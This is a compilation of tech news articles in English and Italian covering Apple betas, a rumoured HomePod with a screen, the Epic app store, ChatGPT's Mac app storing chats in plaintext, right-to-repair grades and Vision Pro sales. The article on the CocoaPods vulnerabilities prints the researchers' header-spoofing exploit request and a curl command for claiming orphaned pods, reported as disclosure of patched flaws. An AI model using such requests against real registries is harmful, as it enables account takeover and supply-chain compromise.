The beta-testing cycle for Apple’s latest operating system updates is in full swing—earlier this week, the third developer betas rolled out for iOS 18, iPadOS 18, macOS 15 Sequoia, and the rest of this fall’s updates. The fourth developer beta ought to be out in a couple of weeks, and it’s reasonably likely to coincide with the first betas that Apple offers to the full public (though the less-stable developer-only betas got significantly more public last year when Apple stopped making people pay for a developer account to access them).

Many of the new updates’ features are present and available to test, including cosmetic updates and under-the-hood improvements. But none of Apple’s much-hyped Apple Intelligence features are available to test in any form. MacRumors reports that Settings menus for the Apple Intelligence features have appeared in the Xcode Simulator for current versions of iOS 18 but, as of now, those settings still appear to be non-functional placeholders that don’t actually do anything.

That may change soon; Apple did say that the first wave of Apple Intelligence features would be available “this summer,” and I would wager a small amount of money on the first ones being available in the public beta builds later this month. But the current state of the betas does reinforce reporting from Bloomberg’s Mark Gurman that suggested Apple was “caught flat-footed” by the tech world’s intense interest in generative AI.

Even when they do arrive, the Apple Intelligence features will be rolled out gradually. Some will be available earlier than others—Gurman recently reported that the new Siri, specifically, might not be available for testing until January and might not actually be ready to launch until sometime in early 2025. The first wave of features will only work in US English, and only relatively recent Apple hardware will be capable of using most of them. For now, that means iPads and Macs with an M-series chip, or the iPhone 15 Pro, though presumably this year’s new crop of Pro and non-Pro iPhones will all be Apple Intelligence-compatible.

Apple’s relatively slow rollout of generative AI features isn’t necessarily a bad thing. Look at Microsoft, which has been repeatedly burned by its desire to rush AI-powered features into its Bing search engine, Edge browser, and Windows operating system. Windows 11’s Recall feature, a comprehensive database of screenshots and text tracking everything that users do on their PCs, was announced and then delayed multiple times after security researchers and other testers demonstrated how it could put users’ personal data at risk.

https://arstechnica.com/?p=2036215

Apple’s tvOS betas are usually among its least exciting; the Apple TV’s operating system has changed so little in the last decade that the most exciting thing to happen to it in recent memory is an extra column of icons.

But this week’s tvOS 18 beta 3 release includes a hidden feature that might be exciting for smart speaker enthusiasts, if not for people who still want their Apple TV boxes to develop exciting new capabilities. 9to5Mac has discovered a touchscreen interface (codenamed “PlasterBoard”) inside of the latest beta, a sign that Apple is testing alternate input mechanisms for software that is currently manipulated via remote control and voice.

Last week, MacRumors also discovered a reference to a device called “HomeAccessory17,1” in Apple’s beta software, a naming convention similar to the “AudioAccessory” device identifiers that Apple uses for HomePod speakers. Together, these developments suggest that Apple is working on a version of the HomePod with an integrated touchscreen, a device that rumors have suggested could launch in 2024 or 2025. The company has reportedly been working on a smart home device with a screen since at least 2021.

MacRumors also points out that the 17,1 model identifier could imply that the new HomePod is being powered by Apple’s upcoming A18 chip—model identifiers across Apple’s product lineup are normally tied to chip generation rather than product generation, which is why the Vision Pro (for example) is called “RealityDevice14,1” rather than “RealityDevice1,1.” Using an A18 will presumably give a new HomePod the necessary speed to support upcoming Apple Intelligence features, including a new and improved version of Siri.

All HomePod speakers have been running a forked version of tvOS since version 13.4 of the HomePod software was released in early 2020, which is why HomePod-related leaks seem to be showing up in tvOS-related code. This would also explain why Apple would use tvOS as the basis for a HomePod with a screen rather than a version of iPadOS.

Apple’s take on an Amazon Echo Show

A version of tvOS running on a tablet-style device could use more than just a touch-driven interface to reach its full potential—a tvOS version of Safari would be useful for browsing recipe sites or casual reading while you’re doing something else, for example. However, what Apple adds depends on the form that the screen takes.

Some rumors have suggested that it would be a circular panel that replaces the swirling LEDs on the top of current-generation HomePods, but Bloomberg’s normally reliable Mark Gurman has described the display as “iPad-like,” suggesting that it could look more like a version of Amazon’s Echo Show. Amazon advertises its Show devices as digital photo frames, miniature TVs, and general kitchen aids, and Apple’s pitch for a screen-ified HomePod would likely feature a lot of the same uses.

Amazon has already released multiple generations of Echo Show devices, and Google has made a couple of stabs at the category, too. A HomePod with a screen, whether released in 2024 or 2025, would be far from the first of its kind. However, the HomePod wasn’t a cutting-edge product when it was released either, and it’s still managed to carve out a niche.

We don’t know what a HomePod with a screen might cost, but assuming it includes a HomePod-esque speaker, an iPad-esque screen, and a cutting-edge iPhone processor, it seems likely that it will be priced well above the $299 Apple currently charges for the full-size screen-less HomePod. Apple’s original $349 HomePod flopped partly because it was priced too high relative to competitors and because it didn’t do a whole lot—a speaker that did more things could probably be priced higher without drawing as much criticism.

https://arstechnica.com/?p=2035899

It’s been a whirlwind journey of stops and starts, but AppleInsider reports the Epic Game Store for iOS in the European Union has passed Apple’s notarization process.

This paves the way for Epic CEO Tim Sweeney to realize his long-stated goal of launching an alternative game store on Apple’s closed platform—at least in Europe.

Apple announced plans to allow third-party app stores on iOS in the region earlier this year, complying with the letter of the law (though some say not the spirit) as required by the Digital Markets Act (DMA), which was enacted in hopes of making platforms more open and competitive.

Apple’s new policies allow for alternative app marketplaces but with some big caveats regarding the deal that app developers agree to. We discussed it in some detail earlier this year.

The change followed years of contentious PR campaigns and court battles around the world between Epic and Apple, with Sweeney proclaiming that Apple’s app approval processes are anti-competitive and that its 30 percent cut of app revenues is unfair.

Even after the shift, Apple is said to have rejected the Epic Games Store app twice. The rejections were over specific rules about the copy and shape of buttons within the app, though not about its primary function.

With the rejections, Apple told Epic that some buttons within the app were too similar in both appearance and copy to Apple’s own buttons—including the “Install” button and the “in-app purchases” copy. Apple felt that this violated rules it had set out in its guidelines to prevent developers from mimicking Apple app designs too closely, ostensibly confusing users.

After those rejections, Epic took to X to accuse Apple of rejecting the app in a way that was “arbitrary, obstructive, and in violation of the DMA.” Epic claimed it followed Apple’s suggested design conventions for the buttons and noted that the copy matched language it has been using in its store on other platforms for a long time.

Not long after, Apple went ahead and approved the app despite the disagreement over the copy and button designs. However, AppleInsider reported that Apple will still require Epic to change the copy and buttons later. Epic disputed that on X, and Sweeney offered his own take:

Apple’s DMA saga has taken a turn towards the absurd.

Apple is now telling reporters that this approval is temporary and are demanding we change the buttons in the next version – which would make our store less standard and harder to use.

We’ll fight this.

While the matter remains contentious, it looks like the Epic Game Store will soon reach iPhone and iPad users in the European Union. Epic still has to build some key parts of the new storefront, such as its mobile payment system for the platform.

https://arstechnica.com/?p=2035658

OpenAI announced its Mac desktop app for ChatGPT with a lot of fanfare a few weeks ago, but it turns out it had a rather serious security issue: user chats were stored in plain text, where any bad actor could find them if they gained access to your machine.

As Threads user Pedro José Pereira Vieito noted earlier this week, “the OpenAI ChatGPT app on macOS is not sandboxed and stores all the conversations in plain-text in a non-protected location,” meaning “any other running app / process / malware can read all your ChatGPT conversations without any permission prompt.”

He added:

macOS has blocked access to any user private data since macOS Mojave 10.14 (6 years ago!). Any app accessing private user data (Calendar, Contacts, Mail, Photos, any third-party app sandbox, etc.) now requires explicit user access.

OpenAI chose to opt-out of the sandbox and store the conversations in plain text in a non-protected location, disabling all of these built-in defenses.

OpenAI has now updated the app, and the local chats are now encrypted, though they are still not sandboxed. (The app is only available as a direct download from OpenAI’s website and is not available through Apple’s App Store where more stringent security is required.)

Many people now use ChatGPT like they might use Google: to ask important questions, sort through issues, and so on. Often, sensitive personal data could be shared in those conversations.

It’s not a great look for OpenAI, which recently entered into a partnership with Apple to offer chat bot services built into Siri queries in Apple operating systems. Apple detailed some of the security around those queries at WWDC last month, though, and they’re more stringent than what OpenAI did (or to be more precise, didn’t do) with its Mac app, which is a separate initiative from the partnership.

If you’ve been using the app recently, be sure to update it as soon as possible.

https://arstechnica.com/?p=2035362

Lug 04, 2024 Marina Londei In evidenza, News, RSS, Tecnologia, Vulnerabilità 0

---

Migliaia di dispositivi Apple sono vulnerabili ad attacchi supply chain a causa di alcune debolezze in CocoaPods: lo hanno scoperto i ricercatori di E.V.A. Information Security, i quali hanno evidenziato che le organizzazioni rischiano danni finanziari e reputazionali a causa di questi attacchi.

CocoaPods è un dependency manager open source per Swift e i progetti in Objective C. Il gestore si occupa di scaricare le librerie di cui hanno bisogno gli sviluppatori e verificarne l’integrità.

L’ecosistema però, a quanto pare, soffre di diverse vulnerabilità: il team di E.V.A. Information Security spiega che nel 2014 si è verificato un processo di migrazione dei pacchetti che ha lasciato però migliaia di essi “orfani”, senza un owner che li reclamasse, e molti di questi sono ancora ampiamente usati in altre librerie. Usando un’API pubblica e un indirizzo email trovati nel codice sorgente di CocoaPods, un attaccante può reclamare uno o più di questi pacchetti come suo e rimpiazzarne il codice sorgente con un payload malevolo.

Il team ha scoperto anche che il flusso di verifica di email è insicuro e può essere sfruttato per eseguire codice arbitrario sul server “Trunk” dell’ecosistema, consentendo a un attaccante di manipolare o rimpiazzare i pacchetti che vengono scaricati. Sono inoltre presenti delle configurazioni errate nei tool di sicurezza per l’email che permetterebbero a un attaccante di eseguire lo spoofing di un header HTTP ed eseguire un attacco zero-click per ottenere il token di verifica dell’account dello sviluppatore.

Infine, una quarta vulnerabilità consentirebbe a un attaccante di accedere al server Trunk di CocoaPods ed eseguire numerosi exploit di varia natura.

CocoaPods: migliaia di device Apple vulnerabili

CocoaPods è molto popolare tra gli sviluppatori e molte delle librerie “orfane” sono presenti come dipendenze in progetti di grandi compagnie come Google, GitHub, Amazon, Dropbox e molte altre.

Secondo la stima dei ricercatori di E.V.A. Information Security, migliaia di dispositivi Apple sono vulnerabili ad attacchi supply chain e zero-click, ma il numero potrebbe arrivare anche a milioni di applicazioni. “Come con molti altri attacchi supply chain, le dipendenze opache nel codice closed-source rendono quasi impossibile capire il potenziale danno” spiegano i ricercatori.

Se è vero che molte applicazioni non accedono alle informazioni sensibili degli utenti, la possibilità di iniettare codice malevolo nelle app tramite le librerie senza owner permetterebbe agli attaccanti sostanzialmente di prendere il controllo del dispositivo e attaccare le vittime con ransomware, truffe e campagne di spionaggio nel caso di dispositivi aziendali. 

È fondamentale che gli sviluppatori effettuino una review delle librerie in uso e validino i checksum dei pacchetti di terze parti; inoltre, è consigliabile effettuare delle scansioni periodiche delle librerie per individuare codice malevolo o modifiche sospette, e in generale limitare l’uso di pacchetti “orfani” o non più mantenuti. 

---

---

---

https://www.securityinfo.it/2024/07/04/le-vulnerabilita-di-cocoapods-mettono-in-pericolo-migliaia-di-device-apple/?utm_source=rss&utm_medium=rss&utm_campaign=le-vulnerabilita-di-cocoapods-mettono-in-pericolo-migliaia-di-device-apple

In December, New York became the first state to enact a “Right to Repair” law for electronics. Since then, other states, including Oregon and Minnesota, have passed similar laws. However, a recent analysis of some recently released gadgets shows that self-repair still has a long way to go before it becomes ubiquitous.

On Monday, the US Public Interest Research Group (PIRG) released its Leaders and Laggards report that examined user repairability of 21 devices subject to New York’s electronics Right to Repair law. The nonprofit graded devices “based on the quality and accessibility of repair manuals, spare parts, and other critical repair materials.”

Nathan Proctor, one of the report’s authors and senior director for the Campaign for the Right to Repair for the US PIRG Education Fund, told Ars Technica via email that PIRG focused on new models since the law only applies to new products, adding that PIRG “tried to include a range of covered devices from well-known brands.”

While all four smartphones included on the list received an A-minus or A, many other types of devices got disappointing grades. The HP Spectre Fold foldable laptop, for example, received a D-minus due to low parts (2 out of 10) and manual (4 out of 10) scores.

The report examined four camera models—Canon’s EOS r100, Fujifilm’s GFX 100 ii, Nikon’s Zf, and Sony’s Alpha 6700—and all but one received an F. The outlier, the Sony camera, managed a D-plus.

Two VR headsets were also among the losers. US PIRG gave Apple’s Vision Pro and Meta’s Quest 3 an F.

You can see PIRG’s full score breakdown below:

Repair manuals are still hard to access

New York’s Digital Fair Repair Act requires consumer electronics brands to allow consumers access to the same diagnostic tools, parts, and repair manuals that its own repair technicians use. However, the PIRG organization struggled to access manuals for some recently released tech that’s subject to the law.

For example, Sony’s PlayStation 5 Slim received a 1/10 score. PIRG’s report includes an apparent screenshot of an online chat with Sony customer support, where a rep said that the company doesn’t have a copy of the console’s service manual available and that “if the unit needs repair, we recommend/refer customers to the service center.”

Apple’s Vision Pro, meanwhile, got a 0/10 manual score, while the Meta Quest 3 got a 1/10.

According to the report, “only 12 of 21 products provided replacement procedures, and 11 listed which tools are required to disassemble the product.”

The report suggests difficulties in easily accessing repair manuals, with the report’s authors stating that reaching out to customer service representatives  “often” proved “unhelpful.” The group also pointed to a potential lack of communication between customer service reps and the company’s repairability efforts.

For example, Apple launched its Self Service Repair Store in April 2022. But PIRG’s report said:

 … our interaction with their customer service team seemed to imply that there was no self-repair option for [Apple] phones. We were told by an Apple support representative that ‘only trained Apple Technician[s]’ would be able to replace our phone screen or battery, despite a full repair manual and robust parts selection available on the Apple website.

Apple didn’t immediately respond to Ars Technica’s request for comment.

https://arstechnica.com/?p=2034998

Apple crede ancora nei suoi visori per realtà mista Vision Pro, nonostante le vendite siano calate. Non a caso, Tim Cook ha parlato del costoso gadget durante la Worldwide Developers Conference del 10 giugno, lanciando un prossimo aggiornamento del sistema operativo.

La novità è che l’analista Ming-Chi Kuo, esperto della Mela, ha affermato che il gigante della tecnologia presenterà un nuovo prodotto per portare più persone verso la realtà mista. Il riferimento è ad un paio di AirPods, gli auricolari del gruppo, che entro il 2026 dovrebbero integrate una fotocamera. I nuovi AirPods verrebbero utilizzati con Vision Pro per “migliorare l’esperienza utente dell’audio spaziale e rafforzare l’ecosistema del computing spaziale”, ha affermato l’analista.

Vendite virtuali

Apple ha compiuto il grande salto nella realtà virtuale nel 2023. L’azienda ha introdotto il visore Vision Pro “mixed reality” per rivaleggiare con la serie Quest di Meta. Non senza problemi: i critici affermano che il dispositivo è goffo e troppo costoso, tanto che alcuni negozi ne vendono solo pochi ogni settimana. Tuttavia, Apple ha continuato la sua crociata nel mercato, espandendo le vendite di Vision Pro in Cina a marzo. “Ho sentito persone da tutto il mondo esprimere il loro interesse per questo prodotto incredibile”, ha affermato Cook al WWDC. Alcuni esperti ritengono che Apple possa ancora avere successo nel suo impegno verso la realtà virtuale e che i suoi prodotti potrebbero dare un nuovo slancio allo smart working, portando definitivamente nel metaverso, qualsiasi cosa voglia dire.

Problemi di privacy

Gli esperti di privacy hanno espresso preoccupazioni sui Vision Pro a causa delle enormi quantità di dati che raccolgono, tra cui il tracciamento dei movimenti oculari e dell’ambiente circostante di un utente (Apple ha affermato di non raccogliere tali dati né di condividerli con gli sviluppatori). Poiché i nuovi AirPods con telecamere aumenterebbero la comprensione dei dispositivi di un utente, ciò potrebbe aumentare le preoccupazioni. Per non parlare del fatto che Apple ha affermato la scorsa settimana di aver appena risolto un problema tecnico con gli AirPods che consentiva agli hacker di controllare l’audio di un utente.

Leggi le altre notizie sull’home page di Key4biz

https://www.key4biz.it/rivoluzione-apple-potrebbe-inserire-una-fotocamera-negli-airpods/495896/

Vulnerabilities that went undetected for a decade left thousands of macOS and iOS apps susceptible to supply-chain attacks. Hackers could have added malicious code compromising the security of millions or billions of people who installed them, researchers said Monday.

The vulnerabilities, which were fixed last October, resided in a “trunk” server used to manage CocoaPods, a repository for open source Swift and Objective-C projects that roughly 3 million macOS and iOS apps depend on. When developers make changes to one of their “pods”—CocoaPods lingo for individual code packages—dependent apps typically incorporate them automatically through app updates, typically with no interaction required by end users.

Code injection vulnerabilities

“Many applications can access a user’s most sensitive information: credit card details, medical records, private materials, and more,” wrote researchers from EVA Information Security, the firm that discovered the vulnerability. “Injecting code into these applications could enable attackers to access this information for almost any malicious purpose imaginable—ransomware, fraud, blackmail, corporate espionage… In the process, it could expose companies to major legal liabilities and reputational risk.”

The three vulnerabilities EVA discovered stem from an insecure verification email mechanism used to authenticate developers of individual pods. The developer entered the email address associated with their pod. The trunk server responded by sending a link to the address. When a person clicked on the link, they gained access to the account.

In one case, an attacker could manipulate the URL in the link to make it point to a server under the attacker’s control. The server accepted a spoofed XFH, an HTTP header for identifying the target host specified in an HTTP request. The EVA researchers found that they could use a forged XFH to construct URLs of their choice.

Normally, the email would contain a valid link posting to the CocoaPods.org server such as:

The researchers could instead change the URL to lead to their own server:

This vulnerability, tracked as CVE-2024-38367, resided in the session_controller class of the trunk server source code, which handles the session validation URL. The class uses the sessions_controller.rb mechanism, which prioritizes the XFH over the original host header. The researchers’ exploit code was:

POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78 { "email":"research@evasec.io", "name":"EVAResearch", "description":null
}

A separate vulnerability tracked as CVE-2024-38368 allowed attackers to take control of pods that had been abandoned by their developers but continue to be used by apps. A programming interface allowing the developers to reclaim their pods remained active almost 10 years after it was first implemented. The researchers found that anyone who found the interface to an orphaned pod could activate it to gain control over it, with no ownership proof required.

A simple curl request that contained the pod name was all that was required:

# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST' \ -H 'Host: trunk.cocoapods.org' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-binary 'owner[name]=EVA&email=research@evasec.io' --data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND' 'https://trunk.cocoapods.org/claims'

The third vulnerability, CVE-2024-38366, allowed attackers to execute code on the trunk server. The trunk server relies on RFC822 formalized in 1982 to verify the uniqueness of registered developer email addresses and check if they follow the correct format. Part of the process involves examining the MX record for the email address domain as implemented by this RFC822 implementation.

https://arstechnica.com/?p=2034866

Apple’s Vision Pro headset went on sale outside the United States for the first time today, in the first of two waves of expanded availability.

The $3,499 “spatial computing” device launched back in February in the US, but it hasn’t taken the tech world by storm. Part of that has been its regional launch, with some of the biggest markets still lacking access.

Apple announced that the product would be sold internationally during its keynote at the Worldwide Developers Conference earlier this month.

The first new markets to get Vision Pro shipments are China, Japan, and Singapore—those are the ones where it went on sale today.

A second wave will come on July 12, with the headset rolling out in Australia, Canada, France, Germany, and the United Kingdom.

When we first tested the Vision Pro in February, we wrote that it was a technically impressive device with a lot of untapped potential. It works very well as a personal entertainment device for frequent travelers, in particular. However, its applications for productivity and gaming still need to be expanded to justify the high price.

Of course, there have been conflicting rumors of late about just how expensive Apple plans to keep its mixed reality devices. One report claimed that the company put the brakes on a new version of the Vision Pro for now, opting instead to develop a cheaper alternative for a 2025 launch.

But another report in Bloomberg suggested that’s an overstatement.  It simply noted that the Vision Pro 2 has been slightly delayed from its original target launch window and reported that the cheaper model will come first.

In any case, availability will have to expand and the price will ultimately have to come down if augmented reality can become the major computing revolution that Apple CEO Tim Cook has predicted. This international rollout is the next step to test whether there’s a market for that.

https://arstechnica.com/?p=2034503

12 mesi di crescita per Amazon

Dopo Google, Alphabet, Microsoft, Apple e Nvidia, anche Amazon entra a far patte del club ristrettissimo delle aziende da 2 trilioni di dollari di valore di capitalizzazione di mercato. Tutte Big Tech.

La società con sede a Seattle ha chiuso ieri la giornata di borsa cin un rialzo del 4% delle proprie azioni, raggiungendo un valore complessivo di 2,01 trilioni di dollari di market cap, frutto di un lungo percorso di crescita.

Le azioni di Amazon sono cresciute del 52% negli ultimi 12 mesi, soprattutto grazie agli investimenti in soluzioni di intelligenza artificiale (AI).

AI alla base delle fortune di Amazon (e delle Big Tech)

L’AI è alla base delle fortune di molte delle imprese che compongono l’esclusivo club del trilionari. Bastia pensare ad Nvidia, che proprio grazie ai suoi chip più avanzati e ai chip AI ha raggiunto la soglia dei 3 trilioni di dollari di market cap.

Stessa sorte è toccata ad Amazon, che sfruttando l’onda AI ha messo a segno importanti colpi di mercato, soprattutto grazie a prodotti centrali sul business, compresi nuovi modelli di AI e il chatbot Q, messo a disposizione delle aziende che utilizzano il cloud AWS.

Ai generativa e chip di proprietà

Secondo il tech analyst di Wedbush, Dan Ives: “Gran parte dell’aumento di valore di Amazon è legato al cloud e all’AI. Sarà un attore di rilievo nel panorama globale nello sviluppo di queste tecnologie”.

A proposito di intelligenza artificiale, il gigante dell’ecommerce ha investito 4 miliardi di dollari in Anthropic, proprio per accelerare lo sviluppo di nuovi modelli di AI generativa. Amazon, inoltre, progetta e produce chip AI di proprietà.

Da ricordare che, nonostante i numeri positivi di quest’ultimo periodo e l’entrata nel club delle società trilionarie, Amazon ha tagliato i costi in maniera significativa dalla fine del 2022 ad oggi, licenziando più di 27 mila dipendenti in giro per il mondo. Azioni che hanno avuto un peso nella crescita del suo valore di mercato.

Leggi le altre notizie sull’home page di Key4biz

https://www.key4biz.it/amazon-e-la-quinta-big-tech-nel-club-dei-2-trilioni-di-dollari-grazie-allai/495435/